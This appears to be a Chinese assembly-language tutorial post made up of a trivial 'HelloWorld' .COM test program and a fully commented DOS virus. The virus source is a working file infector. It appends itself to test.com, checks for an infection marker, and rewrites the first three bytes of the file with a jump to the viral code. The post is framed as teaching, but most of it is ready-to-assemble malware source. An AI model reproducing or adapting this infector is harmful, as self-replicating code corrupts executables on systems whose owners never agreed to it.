在tasm 编译通过:
测试程序:
;DTA数据传输区,存放文件的相关控制信息,它的作用是在磁盘文件与程序之间做一个桥梁,程序写文件时先写DTA,程序读文件时就直接从DTA中读取文件的信息。
.model tiny
.code
org 0100h
ok: mov dx,offset message
mov ah,09h
int 21h
mov ah,4ch
int 21h
ret
message db 'HelloWorld!!',0dh,0ah,'$'
end ok
Virus程序:
.model tiny
.code
org 100h
start:
db 90h,90h,90h ;三个无操作码,空出三个字节
vstart: ;用IP指针减去偏移量的方式,做到重定位
ok:call locate ;病毒代码的起始,遇到call寄存器入栈,ip也同样入栈
locate:pop si ;将ip地址出栈到si寄存器中
sub si,offset locate ;减去病毒的起始地址,用于回到宿主程序的地址
writeold: ;将100h处的内存代码写为我们病毒保存的3个字节,第1次运行是一条退出指令
;以后运行的时候,它就是我们宿主程序开始的三个字节
push si ;保存si
mov di,100h ;把100h送到目的地址DI寄存器
lea si,[si+f3byte] ;在内存处写入3个字节
movsb
movsw
pop si
openf: ;打开文件
mov ax,3d02h ;3dh功能调用,调用参数ds:dx=ASCIZ串地址,al=访问文件共享方式,
;0=读,1=写,2=读/写;若调用成功,返回参数AX=文件代号
lea dx,[fname+si] ;文件名所在的地址
int 21h ;DOS中断
jc error1 ;没有打开跳到error1
xchg ax,bx ;将打开文件功能调用的出口参数(文件代号)存到bx当中
loadold: ;保存宿主程序的前3个节字的代码在这里
mov ax,4200h ;42号功能调用,移动文件指针,重新读取原先的3个字节,让它从头开始
xor cx,cx ;将cx清空,把偏移量高位置零
xor dx,dx ;将dx清空,把偏移量低位置零
int 21h
mov ah,3fh ;3f功能调用,读文件或设备
mov cx,3 ;读3个字节
lea dx,[f3byte+si] ;将它保存在宿主文件头部的那3个字节处的内存单元
int 21h
judge:
mov ax,4202h ;42号调用,移动文件指针,al=2从文件尾绝对位移
mov cx,0ffffh ;偏移量高位,
mov dx,0fffeh ;偏移量低位,负2的补码0fffeh
int 21h
mov ax,3fh ;3f功能调用,读文件或设备,读取倒数的两个字?
mov cx,2 ;cx为要读取字节的数量
lea dx,[si+vid] ;将vid的偏移地址存放到dx(偏移量低位)当中
int 21h
cmp word ptr [vid+si],0fecah ;将取出的两个字节的内容与特征码进行比较
jz closef ;如果相等,说明这个文件已经被感染过了,跳转到关闭文件
mov word ptr [vid+si],0fecah ;否则继续感染这个文件,在感染之前将其特征位设置为0fecah
pointf: ;重新定位文件的读写指针
mov ax,4202h ;42号功能调用,移动文件指针,调用参数 BX=文件代号,CX:DX=位移量,AL=2从文件尾
xor cx,cx ;将cx清零,代表偏移量的高位
xor dx,dx ;将dx清零,代表偏移量的低位
int 21h ;DOS中断,偏移量都为零,说明从文件的尾部开始,若成功,dx:ax=新指针位置;失败,ax=错误码
error1:jc error2 ;错误跳转的地址
sub ax,3 ;JMP指令占3字节,ax(上面文件读指针的出口参数)存放着写入病毒代码的字节数
mov word ptr entry[si+1],ax ;ax减3获得JMP的偏移地址,再送到entry的下一地址
writef: ;写文件
mov ah,40h ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实;;际实际写入的字节数
mov cx,filel ;把要写入文件的长度存到cx
lea dx,[vstart+si] ;将病毒的起始地址存到dx当中
int 21h ;DOS中断
writejmp: ;写跳转指令
mov ax,4200h ;42号调用,移动文件指针,将读写地址定义到起始处
xor cx,cx ;将cx清零,代表偏移量的高位
xor dx,dx ;将dx清零,代表偏移量的低位
int 21h
mov ah,40h ;40号调用,写文件
mov cx,3 ;写3个字节
lea dx,[entry+si] ;写的字节在entry里的那条机器码
int 21h
closef: ;关闭文件
mov ah,3eh ;3eh号调用,关闭文件
int 21h
error2:
hello: ;为了程序试验方便,我们让它打印一句话
lea dx,[message+si] ;要打印显示的字符串的地址
mov ah,9 ;9号调用显示字符串
int 21h
mov ax,100h ;这些都完成之后就让它跳回100h
push ax ;将ax入栈
ret ;返回指令,将ax返回到IP中
message db "cafe !",0dh,0ah ;0dh 回车符,0ah换行符
db '$' ;表这个字符串结束?
f3byte db 0cdh,20h,0 ;int 20h 的机器码,退出指令
entry db 0e9h,0,0 ;jmp 0 的机器码
fname db "test.com",0,'$' ;指令文件名的缓冲区
vid db 0cah,0feh ;病毒特征码
filel equ $-vstart ;前面空出的三个字节只有在病毒第一次运行时才有意义
end start